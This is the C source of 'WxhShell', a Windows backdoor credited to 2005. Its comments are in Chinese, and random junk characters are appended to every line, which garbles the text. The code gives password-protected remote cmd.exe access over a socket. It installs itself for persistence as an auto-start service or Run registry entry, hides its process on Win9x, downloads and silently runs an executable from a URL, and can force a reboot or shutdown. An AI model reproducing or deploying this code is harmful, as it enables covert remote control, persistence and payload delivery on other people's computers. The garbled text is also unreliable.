    if(Boot(SHUTDOWN)) OX!tsARC@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L|xbR#v  
    else { }@+0/W?\.  
    closesocket(wsh); lT?v^\(H  
    ExitThread(0); CYP q#rd  
    } <{cQM$ #  
    break; E6ElNgL  
    } LckK\`mh  
  // 获取shell =s2*H8]  
  case 's': { k$R-#f;  
    CmdShell(wsh); b=NxUd O  
    closesocket(wsh); Jhhb7uU+  
    ExitThread(0); q,|j]+9q  
    break; ,T$U'&;  
  } 'Aq{UGN  
  // 退出 WiR(;m<g  
  case 'x': { )23H1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .}TZxla0Zr  
    CloseIt(wsh); 6j]0R*B7`Q  
    break; u0c1:Uv#~e  
    } w-MCZwCr)  
  // 离开 Hk.TM2{w  
  case 'q': { ??vLUv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {@{']Y  
    closesocket(wsh); k2tF}  
    WSACleanup(); @,7GaK\  
    exit(1); hRCJv#]HC  
    break; 9 -a0:bP  
        } nT$SfGFj8  
  } ~-Qw.EdC  
  } ,m|h<faZL  
ZG8DIV\D7  
  // 提示信息 '4Bm;&6M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vw/J8'  
} $Sip$\+*  
  } >tV{Pd1  
+lcbi  
  return; %XQ(fj>  
} Ka V8[|Gn,  
Y)2,PES=  
// shell模块句柄 !F'YDjTot  
int CmdShell(SOCKET sock) *P=VFP  
{ Ioa$51&  
STARTUPINFO si; Wt-GjxGi  
ZeroMemory(&si,sizeof(si)); Fk7')?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d^ 8ZeC#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n 0L^e  
PROCESS_INFORMATION ProcessInfo; ZKTz ,  
char cmdline[]="cmd"; xY(*.T9K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z46~@y%k  
  return 0; >KhOz[Zg  
} bK&+5t&  
y_-0tI\J  
// 自身启动模式 6O!2P  
int StartFromService(void) I,vJbvvl!  
{ tg4pyW <  
typedef struct U$z-e/  
{ VuZuS6~#J  
  DWORD ExitStatus; y766; X:J  
  DWORD PebBaseAddress; S;#'M![8  
  DWORD AffinityMask; +VOK%8,p  
  DWORD BasePriority; 'I6i ,+D/q  
  ULONG UniqueProcessId; /t$d\b17pX  
  ULONG InheritedFromUniqueProcessId; j'"J%e]  
}   PROCESS_BASIC_INFORMATION; $B5aje}i  
w%jII{@,  
PROCNTQSIP NtQueryInformationProcess; ,R* ]>'  
}N6.Uu 5zI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GH$pKB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S3 Xl  
[?N~s:}  
  HANDLE             hProcess; oQ[f,7u  
  PROCESS_BASIC_INFORMATION pbi; z5*'{t)  
H8}oIA"b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LBDjIpR6  
  if(NULL == hInst ) return 0; d S V8q ,D  
i2SR{e8:GF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5D//*}b,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {8bSB.?R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v O_*yh1  
pG;U2wE  
  if (!NtQueryInformationProcess) return 0; 0[W:d=C`a  
t!7-DF|N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <bEbweQrgm  
  if(!hProcess) return 0; 5 #E`=C%  
D_zZXbNc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {V CWn95Z  
8XE7]&)];  
  CloseHandle(hProcess); SSMHoJGm  
`*1p0~cu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mrtb*7`$  
if(hProcess==NULL) return 0; V1B5w_^>h'  
WX3-\Y5E  
HMODULE hMod; WOL:IZX%  
char procName[255]; rf{rpe$  
unsigned long cbNeeded; > /caXvS  
xdkZdx>N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I^$fMdT  
s|r3Gv|G  
  CloseHandle(hProcess); u;2[AQ.  
aO4?m+  
if(strstr(procName,"services")) return 1; // 以服务启动 {&1/V  
4^|3TntO  
  return 0; // 注册表启动 s?L  
} &&>ekG 9@  
49HZ2`Y  
// 主模块 ;>7De8v@@  
int StartWxhshell(LPSTR lpCmdLine) ~2-1 j  
{ E+;7>ja  
  SOCKET wsl; *b\t#meS&  
BOOL val=TRUE; sLxc(d'A  
  int port=0; o0KL5].  
  struct sockaddr_in door; U&p${IcEm  
-6B4sZpzD  
  if(wscfg.ws_autoins) Install(); +@wD qc  
-e:`|(Mo  
port=atoi(lpCmdLine); zIAD9mQex  
;u)I\3`*!  
if(port<=0) port=wscfg.ws_port; Lw>N rY(Y  
g]0_5?i  
  WSADATA data; c yz3,3\e  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {3aua:q  
HN|%9{VeB  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )\$|X}uny&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <7jW _R@  
  door.sin_family = AF_INET; -nV9:opD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t1x1,SL  
  door.sin_port = htons(port); E r?&Y,o  
O :Tj"@h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [d ]9Oa4  
closesocket(wsl); d7bS wL  
return 1; Qt<&WB fn  
} '^UI,"Ti  
b d!Y\OD  
  if(listen(wsl,2) == INVALID_SOCKET) { g[4WzDF*  
closesocket(wsl); 8KzkB;=n  
return 1; }k.Z~1y  
} Otn1wBI  
  Wxhshell(wsl); ?4T-@~~*`=  
  WSACleanup(); 8YSAf+{FtK  
QoT;WM Z  
return 0; x7 ,5  
}Jj}%XxKs  
} jAlv`uB|G"  
{ 2f-8Z&>  
// 以NT服务方式启动 FfT`;j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .HABNPNg(  
{ DZtsy!xA  
DWORD   status = 0; F*ylnB3z  
  DWORD   specificError = 0xfffffff; \:LW(&[!  
I{=Qtnlb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JNnDts*w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PLBr P  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1 [Bk%G@D&  
  serviceStatus.dwWin32ExitCode     = 0; \1M4Dl5!  
  serviceStatus.dwServiceSpecificExitCode = 0; SNk=b6`9  
  serviceStatus.dwCheckPoint       = 0; j8:\%|  
  serviceStatus.dwWaitHint       = 0; 44j*KsBf  
R[]Mdt<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q^^niVz  
  if (hServiceStatusHandle==0) return; k)TpnH! "  
aV0"~5  
status = GetLastError(); m+z& Q  
  if (status!=NO_ERROR) !&@615Vtw  
{ q{x8_E!L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  &q*Aj17  
    serviceStatus.dwCheckPoint       = 0; V0a3<6@4  
    serviceStatus.dwWaitHint       = 0; AbW6x  
    serviceStatus.dwWin32ExitCode     = status; p0eX{xm  
    serviceStatus.dwServiceSpecificExitCode = specificError; B&"Q\'c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); EU Fa5C:  
    return; P@~yx#G  
  } 0#gK6o!  
vtJJ#8a]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lPAQ3t!,  
  serviceStatus.dwCheckPoint       = 0; -yNlyHv9  
  serviceStatus.dwWaitHint       = 0; 9%obq/Lb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Q22 GIr  
} <9b &<K:  
8zq=N#x  
// 处理NT服务事件,比如:启动、停止 $<[79al#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )D%~` ,#pQ  
{ [()koU#w.  
switch(fdwControl) <(!:$  
{ F,CT Z~  
case SERVICE_CONTROL_STOP: e&>2 n  
  serviceStatus.dwWin32ExitCode = 0; tfWS)y7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +LJ73 !  
  serviceStatus.dwCheckPoint   = 0; K)iF>y|{*q  
  serviceStatus.dwWaitHint     = 0; ]hV*r@d  
  {  4Wp=y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5#z1bu  
  } RPbZ(.  
  return; F((4U"   
case SERVICE_CONTROL_PAUSE: #4;wjcGWw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?Z}&EH  
  break; &#i"=\d  
case SERVICE_CONTROL_CONTINUE: B`sAk %  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tO&^>&;5  
  break; ]/{)bpu  
case SERVICE_CONTROL_INTERROGATE: o5)<$P43  
  break; f%8C!W]Dm  
}; {K!)Ss  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eszG0Wu  
} >@Kx>cg+  
.jK4?}]  
// 标准应用程序主函数 lk=<A"^S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ` G kX  
{ qcRs$-J  
#p{4^  
// 获取操作系统版本 :Iz8aQ  
OsIsNt=GetOsVer(); $Y gue5{c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U%/+B]6jP  
<{cQ2  
  // 从命令行安装 CU~PT.  
  if(strpbrk(lpCmdLine,"iI")) Install(); A/?7w   
(QiAisE  
  // 下载执行文件 VS|2|n1<6  
if(wscfg.ws_downexe) { :fJN->wY^s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;9'OOz|+1  
  WinExec(wscfg.ws_filenam,SW_HIDE); @KUWxFak  
} 'we>q@  
d0 /#nz  
if(!OsIsNt) { iam1V)V  
// 如果时win9x,隐藏进程并且设置为注册表启动 wS3'?PRX  
HideProc(); U`s{Jm  
StartWxhshell(lpCmdLine); xd0 L{ue.  
} XB5DPx  
else )WFr</z5bA  
  if(StartFromService()) 8a"%0d#  
  // 以服务方式启动 Vf1^4 t  
  StartServiceCtrlDispatcher(DispatchTable); ,v}k{( 16{  
else ?Ss!e$jf  
  // 普通方式启动 h@wgd~X9  
  StartWxhshell(lpCmdLine); -35;j'a  
+qdEq_ m  
return 0; '}#9)}x!  
} h zn6kbv  
{+b7sA3  
2I{"XB  
0C ,`h `  
=========================================== 1yY0dOoLG)  
dUdT7ixo  
U,1-A=Og{o  
I1&aM}y{G  
r#mx~OVkk  
w@fi{H(R  
" 8*a&Jl  
iDrZc  
#include <stdio.h> Ny)X+2Ae  
#include <string.h> ~WV"SaA)*U  
#include <windows.h> BING{ew  
#include <winsock2.h> 18:%~>.!  
#include <winsvc.h> y1L,0 ]  
#include <urlmon.h> a7%]Y}$  
]5:8Z@  
#pragma comment (lib, "Ws2_32.lib") |#N&akC  
#pragma comment (lib, "urlmon.lib") Dv`c<+q(#  
)wh A<lC  
#define MAX_USER   100 // 最大客户端连接数 R ViuJ;  
#define BUF_SOCK   200 // sock buffer >b4eL59  
#define KEY_BUFF   255 // 输入 buffer r" ,GC]  
7. ;3e@s  
#define REBOOT     0   // 重启 H} g{Cr"Ex  
#define SHUTDOWN   1   // 关机 GWip-wI  
S|+o-[e8O  
#define DEF_PORT   5000 // 监听端口 _zMW=nypdx  
k"w"hg&e  
#define REG_LEN     16   // 注册表键长度 t\ewHZG"  
#define SVC_LEN     80   // NT服务名长度 VyGJ=[ ]  
}RqK84K  
// 从dll定义API *CHX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 45>?o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lnR{jtWP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); P7~>mm+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i~J'%a<Qp  
$E.I84UfX  
// wxhshell配置信息 ]z9=}=If  
struct WSCFG { czd~8WgOa  
  int ws_port;         // 监听端口 PwLZkr@4^  
  char ws_passstr[REG_LEN]; // 口令 P";'jVcR  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5XB H$&Td  
  char ws_regname[REG_LEN]; // 注册表键名 }vM("v|M  
  char ws_svcname[REG_LEN]; // 服务名 o " #\ >  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DR<9#RRD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 | %Vh`HT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?5 7Sk+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `W*U4?M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tZG:Pr1U@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w+CA1q<  
W6/yn  
}; Y0 -n\|  
BF{Y"8u$  
// default Wxhshell configuration ~R92cH>L  
struct WSCFG wscfg={DEF_PORT, mL: sJf  
    "xuhuanlingzhe", "LTad`]<Ro  
    1, Q$Q([Au  
    "Wxhshell", `+Q%oj#FF  
    "Wxhshell", WI-1)1t  
            "WxhShell Service", y_lU=(%Jd  
    "Wrsky Windows CmdShell Service", SI-Ops~e  
    "Please Input Your Password: ", OpYY{f  
  1, ikiypWq  
  "http://www.wrsky.com/wxhshell.exe", ;MdlwQ$`  
  "Wxhshell.exe" w&T9;_/  
    }; pg)WKbV  
:&9s,l   
// 消息定义模块 W|63Ir67  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |_@>*Vmg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; OYTkV}tG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oEZdd#*;  
char *msg_ws_ext="\n\rExit."; HRfYl,S,  
char *msg_ws_end="\n\rQuit."; L0WN\|D  
char *msg_ws_boot="\n\rReboot..."; b2&0Hx  
char *msg_ws_poff="\n\rShutdown..."; O[JL+g4  
char *msg_ws_down="\n\rSave to "; *wB1,U{  
GDiBl*D  
char *msg_ws_err="\n\rErr!"; zue~ce73J  
char *msg_ws_ok="\n\rOK!"; L>4"(  
|H+UOEiv,p  
char ExeFile[MAX_PATH]; Fyatd  
int nUser = 0; cB}D^O   
HANDLE handles[MAX_USER]; t=W}SH  
int OsIsNt; V{3x!+q  
+*/Zu`kzX  
SERVICE_STATUS       serviceStatus; 0[?Xxk}s0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @O^6&\s>  
R)s:rJQ=p  
// 函数声明 fN1-d&T  
int Install(void); @>Km_Ax  
int Uninstall(void); Iom'Y@x  
int DownloadFile(char *sURL, SOCKET wsh); ud@%5d  
int Boot(int flag); #( 146  
void HideProc(void); kzUIZ/+ZL,  
int GetOsVer(void); XrGglBIV  
int Wxhshell(SOCKET wsl); y(yHt= r  
void TalkWithClient(void *cs); !9VY|&fHe  
int CmdShell(SOCKET sock); o~y;j75{.*  
int StartFromService(void); x@;m8z0  
int StartWxhshell(LPSTR lpCmdLine); wIaony  
,Ae6/D$h/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); t pQ(g%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X[BIA+6  
~H<6gN<j(.  
// 数据结构和表定义 jZkcBIK2  
SERVICE_TABLE_ENTRY DispatchTable[] = yEoF4bt  
{ =Toy Zm\  
{wscfg.ws_svcname, NTServiceMain}, bUdLs.:  
{NULL, NULL} U,{eHe ?>T  
}; Ee%%d  
8COGsWK  
// 自我安装 CXx*_@}MU  
int Install(void) |a`Sc %  
{ umH40rX+  
  char svExeFile[MAX_PATH]; sW'AjI  
  HKEY key; ;rGwc$?|  
  strcpy(svExeFile,ExeFile); Gd xnpE  
g63(E,;;J  
// 如果是win9x系统,修改注册表设为自启动 vm7z,FfN  
if(!OsIsNt) { e>7>j@(K]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1POmP&fI(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^Hnb }L  
  RegCloseKey(key); oC: {aK6\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x$.^"l-vX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J~ zUp(>K  
  RegCloseKey(key); Val|n*%  
  return 0; l<LP&  
    } :vqgGKml$  
  } _~J {wM  
} 0oZ= yh  
else { )D5"ap]fX  
Q4!_>YZ  
// 如果是NT以上系统,安装为系统服务 Fg5kX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~"&|W'he[  
if (schSCManager!=0) pnowy;  
{ p{ Yv3dNl  
  SC_HANDLE schService = CreateService ]7F=u!/`<C  
  ( vrhT<+q  
  schSCManager, m '|b GV  
  wscfg.ws_svcname, +\c5]`  
  wscfg.ws_svcdisp, r6MMCJ|G  
  SERVICE_ALL_ACCESS, T@:Wp4>69  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , . y-D16V  
  SERVICE_AUTO_START, rb2S7k0{  
  SERVICE_ERROR_NORMAL, UXc-k  
  svExeFile, 6xe*E[#k\  
  NULL, dGYn4i2k?  
  NULL, .9on@S  
  NULL, iwZPpl ";  
  NULL, hl7bzKO*w  
  NULL 8>2.UrC  
  ); ( iBl   
  if (schService!=0) G_3O]BMKd)  
  { zl>nSndRE  
  CloseServiceHandle(schService); szZr4y<8|1  
  CloseServiceHandle(schSCManager); G7` ko1-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J{p1|+h%  
  strcat(svExeFile,wscfg.ws_svcname); 7 S#J>*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dUeN*Nq&(,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ja7R2-0ii#  
  RegCloseKey(key); {7"Q\  
  return 0; JIEK*ui  
    }  N_kMK  
  } $Uq|w[LA  
  CloseServiceHandle(schSCManager); (Ft+uuG  
} Zw 26  
} <Dl*l{zba  
Xk~D$~4<  
return 1; M)J5;^["  
} U2tV4_ e  
1y4|{7bb  
// 自我卸载 7Utn\l  
int Uninstall(void) \+oQd=K@  
{ T] f ;km  
  HKEY key; 4x=v?g&  
fa jGZyd0:  
if(!OsIsNt) { ~WeM TXF>y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m)ky*"(  
  RegDeleteValue(key,wscfg.ws_regname); v+W&9>  
  RegCloseKey(key); f O}pj:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ''A_[J `>  
  RegDeleteValue(key,wscfg.ws_regname); Dzpq_F!;V  
  RegCloseKey(key); 1![!+X:w  
  return 0; 4M=]wR;  
  } &&5aM  
} |PvPAPy)uu  
} !P2ro~0/  
else { *<$*"p  
!hA-_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J|W<;  
if (schSCManager!=0) }kw#7m54  
{ ,Q3T Tno ,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WA<v9#m  
  if (schService!=0) Hck]aKI+  
  { NlA,'`,  
  if(DeleteService(schService)!=0) { 70 yFaW  
  CloseServiceHandle(schService); /7(W?xOe  
  CloseServiceHandle(schSCManager); 3H'sHuK"X  
  return 0; _>o:R$ %}  
  } YU'k#\gi*  
  CloseServiceHandle(schService); SpIv#?  
  } Fx]WCQo  
  CloseServiceHandle(schSCManager); @f_Lp%K  
} [7:,?$tC  
} o@_q]/Mh  
i7CX65&b  
return 1; WqR&&gz  
} sbfuzpg]*  
G~]Uk*M q  
// 从指定url下载文件 .97])E[U  
int DownloadFile(char *sURL, SOCKET wsh) ^7`BP%6  
{ +X\FBvP&  
  HRESULT hr; (fhb0i-  
char seps[]= "/"; "syI#U{  
char *token; _f7 9wx\B  
char *file; ]E{NNHK%2N  
char myURL[MAX_PATH]; ;_XFo&@  
char myFILE[MAX_PATH]; h<h%*av|  
K$z2YJ%  
strcpy(myURL,sURL); Ml`:UrU  
  token=strtok(myURL,seps); f'F?MINJP  
  while(token!=NULL) ImA @}:  
  { ^23~ZHu  
    file=token; RV1coC.g4x  
  token=strtok(NULL,seps); k<z )WNBf  
  } YByLoM*  
0RzEY!9g+  
GetCurrentDirectory(MAX_PATH,myFILE); XjBW9a  
strcat(myFILE, "\\"); gZVc 5u<  
strcat(myFILE, file); 9FF0%*tGo  
  send(wsh,myFILE,strlen(myFILE),0); |o7[|3:M  
send(wsh,"...",3,0); &Hrj3E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4a&RYx  
  if(hr==S_OK) ?C]vS_jAh  
return 0; -$\y_?}  
else ]iVcog"T  
return 1; )Dm s  
XMZ,Y7  
} />C^WQI^  
\Zk;ikEY  
// 系统电源模块 Z<oaK  
int Boot(int flag) 7lTC{7C57  
{ xl{=Y< ;  
  HANDLE hToken; bt SRtf  
  TOKEN_PRIVILEGES tkp; cs48*+m  
39c2pV[  
  if(OsIsNt) { =<C: d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `K"L /I9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u$z`   
    tkp.PrivilegeCount = 1; qfF~D0}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AhN4mc@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A.F%Ycq  
if(flag==REBOOT) { Lpkyoh v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P.se'z)E  
  return 0; i%iL[id:w  
} 2F;y;l%  
else { F-QzrquS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _{ue8kGt  
  return 0; 2g `o  
} Ha#= (9.  
  } c?Y*Y   
  else { 2YL?,uLS  
if(flag==REBOOT) { >-?f0 K  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !vi> U|rh  
  return 0; bG"~"ipn%  
} t|?ez4/{z  
else { AF{\6<m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $GV7o{"&  
  return 0; Cl.x'v  
} OG~gFZr)6  
} DPY}?dC  
wVXS%4|v  
return 1; 7O2/z:$f  
} >~rTqtKd  
"s-"<&>a(  
// win9x进程隐藏模块 x^qVw5{n  
void HideProc(void) of~4Q{f$6  
{ CZe ]kXNv  
.#!lP/.eQP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L< S9  
  if ( hKernel != NULL ) OdbEq?3S/?  
  { P;y45b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3Aip}<1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jdP2Pf^^  
    FreeLibrary(hKernel); Rh2+=N<X  
  } h^45,E C  
LrfVh-}|:Y  
return; FZ QP%]FX  
} 68|E9^`l  
^6x%*/l|  
// 获取操作系统版本 H'5)UX@LP  
int GetOsVer(void) SGRp3,1\4%  
{ ;O5zUl-`  
  OSVERSIONINFO winfo; + J{IRyBc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g axsv[W>^  
  GetVersionEx(&winfo); ,,.QfUj/&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @s&71a  
  return 1; ]%SH>  
  else QZwNw;$k*  
  return 0; /62!cp/F/D  
} Ny7S  
K3&qq[8.e  
// 客户端句柄模块 N% B>M7-=  
int Wxhshell(SOCKET wsl) VCfl`Aq'l  
{ 2qNt,;DQ  
  SOCKET wsh; qo~O|~  
  struct sockaddr_in client; octL"t8w  
  DWORD myID; E~T-=ocKE  
\K{ z  
  while(nUser<MAX_USER) *Q.>-J<S  
{ C =xa5Y  
  int nSize=sizeof(client); }tu C}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pF>i-i  
  if(wsh==INVALID_SOCKET) return 1; dQX6(J j  
]0OR_'?,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c#]4awHU  
if(handles[nUser]==0) Vt~{Gu-Y  
  closesocket(wsh); E=Bf1/c\  
else zI uJ-8T"  
  nUser++; Zl!kJ:0  
  } ~=LE0.3[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DfD&)tsMQ  
>6-`}G+|  
  return 0; UDFDJm$  
} Qel9G($=  
LOYk9m  
// 关闭 socket gVuFHHeUz  
void CloseIt(SOCKET wsh) QIEJ6`  
{ =XQ%t @z0  
closesocket(wsh); ?j.,Nw4FC  
nUser--; 9=tIz  
ExitThread(0); IPpN@  
} +`0k Fbx  
>'$Mp<  
// 客户端请求句柄 u#~RkY7s  
void TalkWithClient(void *cs) :OZrH<SW  
{ (9 d&  
fOrH$?  
  SOCKET wsh=(SOCKET)cs; 0mVNQxHI  
  char pwd[SVC_LEN]; N"R]Yp;j  
  char cmd[KEY_BUFF]; 6MW{,N  
char chr[1]; gQuw1  
int i,j; Om@;J%u/  
n@i HFBb  
  while (nUser < MAX_USER) { =qIp2c}Rx  
sP~<*U.7  
if(wscfg.ws_passstr) {  _[3D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EZGIf/ 3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xo&_bMO  
  //ZeroMemory(pwd,KEY_BUFF); =nS3p6>rZ  
      i=0; TdM ruSY  
  while(i<SVC_LEN) { ObS3 M  
"S]TP$O D  
  // 设置超时 e T{ 4{  
  fd_set FdRead; +'a^f5  
  struct timeval TimeOut; am'7uy!ka~  
  FD_ZERO(&FdRead); 59A}}.@?m  
  FD_SET(wsh,&FdRead); %> eiAB_b  
  TimeOut.tv_sec=8; 4$<JHo @.  
  TimeOut.tv_usec=0; t*u:hex  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kevrsV]/$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o.!Dq7 R  
AkV#J, 3LC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gef TdO.&  
  pwd=chr[0]; 6{b >p+U  
  if(chr[0]==0xd || chr[0]==0xa) { >bW #Zs,6  
  pwd=0; ?a5!H*,  
  break; 0h_|t-9j  
  } +<C!U'  
  i++; 5;EvNu  
    } ?tbrbkx  
jL luj   
  // 如果是非法用户,关闭 socket &QgR*,5eo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Lf&kv7Wj  
} ga+dt  
,J@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0(HU}I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7. oM J  
4hj|cCrO  
while(1) { 0H:X3y+  
%ET+iIhK  
  ZeroMemory(cmd,KEY_BUFF); W<g1<z\f  
M= (u]%\  
      // 自动支持客户端 telnet标准   ;V!D :5U  
  j=0; Dd|VMW=  
  while(j<KEY_BUFF) { mfr|:i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zb3t IRH  
  cmd[j]=chr[0]; eR>oq,  
  if(chr[0]==0xa || chr[0]==0xd) { g_bLl)g<  
  cmd[j]=0; oB7_O-3z  
  break; 6=C<>c %+  
  } RA 6w}:sq7  
  j++; jP.dDYc  
    } 5 qA'  
p_4<6{KEt  
  // 下载文件 ;uGv:$([g  
  if(strstr(cmd,"http://")) { * ;FdD{+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "AqB$^S9t  
  if(DownloadFile(cmd,wsh)) sI2^Qp@O1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u ga_T  
  else }@)[5N# A|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6A ah9   
  } (8OsGn  
  else { P+}h$ _x  
>\8+: oS^  
    switch(cmd[0]) { 9gIrt 6  
